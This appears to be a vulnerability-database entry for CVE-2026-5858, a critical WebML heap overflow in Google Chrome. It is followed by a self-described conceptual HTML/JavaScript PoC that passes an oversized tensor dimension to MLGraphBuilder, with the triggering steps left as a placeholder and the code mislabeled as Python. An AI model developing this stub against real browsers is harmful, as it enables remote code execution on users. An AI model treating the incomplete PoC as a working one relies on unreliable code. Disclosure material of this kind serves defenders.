Heap buffer overflow in WebML in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5858
This is a conceptual demonstration.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-5858 PoC</title>
</head>
<body>
<script>
// Attempt to trigger the WebML Heap Buffer Overflow
// Note: Actual exploitation requires specific payload crafting
try {
if (window.navigator.ml) {
const builder = new MLGraphBuilder();
// Constructing a malicious tensor descriptor to trigger overflow
const desc = { type: 'float32', dimensions: [1, 0xFFFFFFFF] };
const input = builder.input('input', desc);
// Further operations to trigger the crash would go here
console.log("WebML context initialized.");
} else {
console.log("WebML API not supported in this browser/version.");
}
} catch (e) {
console.error("Exception occurred: " + e);
}
</script>
<p>Check console for output. If browser crashes, vulnerability is triggered.</p>
</body>
</html>